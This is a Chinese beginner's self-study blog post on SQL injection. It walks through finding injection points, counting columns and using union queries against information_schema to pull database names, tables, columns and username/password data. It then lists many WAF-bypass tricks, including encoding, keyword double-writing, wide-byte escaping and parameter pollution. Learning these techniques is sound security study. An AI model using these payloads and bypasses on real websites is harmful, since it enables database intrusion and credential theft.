小白网安自学路第一篇–SQL注入
sql注入概念
sql注入,web应用未对用户传入数据的合法性进行判断或者过滤不严,攻击者将传入参数拼接在数据库查询的sql语句中,从而达到对数据库进行非法操作的目的。
sql注入基本原理
先来一个sql语句:
select * from article where id= ('1')
这个1,即为用户传入的参数,这个参数不止是在各种表单提交处,搜索框,还有一些动态跳转页面,就像是php?page=…,这个page后面的数据有时候也是有可能需要提交到数据库中的,所以请多多尝试。
现在这个sql语句对应的url是http://127.0.0.1:81/search.php?id=1
这个id即是我们提交上数据库的参数,现在问题来了。我们应该如何提交这个参数,使得这个提交能返回我们想要的东西呢?在回答这个问题前,先总结一下sql注入的基本流程。
sql注入基本流程
1.找到注入点,就像最经典的插入’,使得sql语句报错。(并不是只要插入’报错,就一定是注入点。)
2.判断注入点的类型,有的是整型,有的是字符型,上面的sql语句就是字符型的,如果需要构造payload,那就基本上是1’) union …这样了;如果是整型的话,就像下面这个,构造payload,就基本可以1 union …这样子。
select * from article where id= 1
继续说说这个字符型和整型,判断注入点的不同:
你看这俩个sql语句插入‘是不是都会报错,所以’是永远的神。判断到底是不是注入点这个地方就有点不一样。上面的那个构造的语句就应该是:
这个上传的就是1’) and 1=1#
select * from article where id= ('1') and 1 = 1#')
或者没有括号的:上传的就是1‘ and ‘1’ = '1
select * from article where id= '1' and '1'='1 '
(and 1=2报错且and 1=1 与原页面是一致的话,说明这个是注入点)
整型简单直接:
select * from article where id= 1 and 1=1
and前后全正确是不是返回的页面与id=1是一模一样的?
select * from article where id= 1 and 1=2
and 1=2;1=2一定是错误的,所以就会出现错误页面。
(很多非注入点其实and 1=1会报错,and 1=2就返回原页面,我也没太懂到底是为什么,and是位运算符,0 and 0=0,按道理说应该也是会报错的才对啊。没明白,没明白。)
3.接下来,就是判断数据库表中的列数。两种方式:1 order by 10 整型这种,字符型1’ order by 10# (#为注释符) 或者union select 1,2,3…这种。正常返回即存在这么多列,返回出错即不存在这么多列,所以找交点。
关于列数,order by 查询的列数部一定是数据库表中的列数,请看:
select * from article where id= 1
select username,password from article where user= '' and password =''
以上就是两种不同,一种是全部列,一种只需要其中的俩列,所以order by是根据sql语句来的噢!
4.联合查询嘛:
union select version(),user(),database().
group_concat(schema_name) from information_schema.schemata(爆库名)
5.联合查询爆表名:union select group_concat(table_name) from information_schema.tables where table_schema='test'
(group_concat()使多行数据在一列显示)
虽然我觉得大多数都没有访问information_schema.tables这个库的权限。
6联合查询爆列名:union select group_concat(column_name) from information_schema.columns where table_name='test1' and table_schema='test'
7.联合查询爆数据:
union select concat(user,0x3a,password) from test.test limit 0,1
(能够进行联合查询的时候,要记得把前面的参数设置得报错,要不返回不了东西的,比如最开始的select * from article where id= 1,记得把1改成-1,或者-多少都行。)
绕过小技巧(在一些地方碰到的,总结一下,随时更新):
- 空格被过滤:注释符绕过:/**/,#,–,%00;URL编码绕过:%2520;
- 关键字被过滤:双写绕过:uniunionon,seleselectct;大小写交替绕过:UNioN,SeLecT;双重URL编码绕过:unio\x6e,select\x74。
- CTF中知道flag所在路径,且存在sql注入:loadfile(绝对路径或者其相对路径)。
- asp+iis:uni%%%%%on
- url编码:union—%75%6E%69%6F%6E,u%6eion
- hex:十六进制:0x756E696F6E 绕过ids
- 双编码:’->%27—>%2527
- %u %u0053elect
- u+n+i+o+n
- php:gpc=on 对特殊字符进行转义:前加
‘–>\’
绕过:
char(91)=a
left(userame,1)=char(97)
宽字节
高位 低位
%df’–>%df\’—>%df%5c’—>運’ - 关键字中间%0a uni%0aon
- 关键字后加空格:boundary:上传漏洞
- hpp:http参数污染
id=1&id=2&id=3
.net+iis:1,2,3
apache+php:3 - #
select name as # 别名 - 绕过正则:%23
%2d%2d%0a - 改变提交方法:get–>post
- 畸形:http: ldsfr apache
- 科学计数:8.0union
- 能配符:/bin/c?t
- emoji:表情包,
- waf自身缺陷:
处理超长字符串 7250bytes
/aaaaaaa…/select name from admin - waf自身缺陷
安全检查:只检查前100参数
先写到这吧,以后有啥需要补充的,或者一些奇奇怪怪的东西碰到了,学到了,都会补充。
努力从来都不会被辜负,加油!
写于2021.01.14北京
更新于2021.03.22北京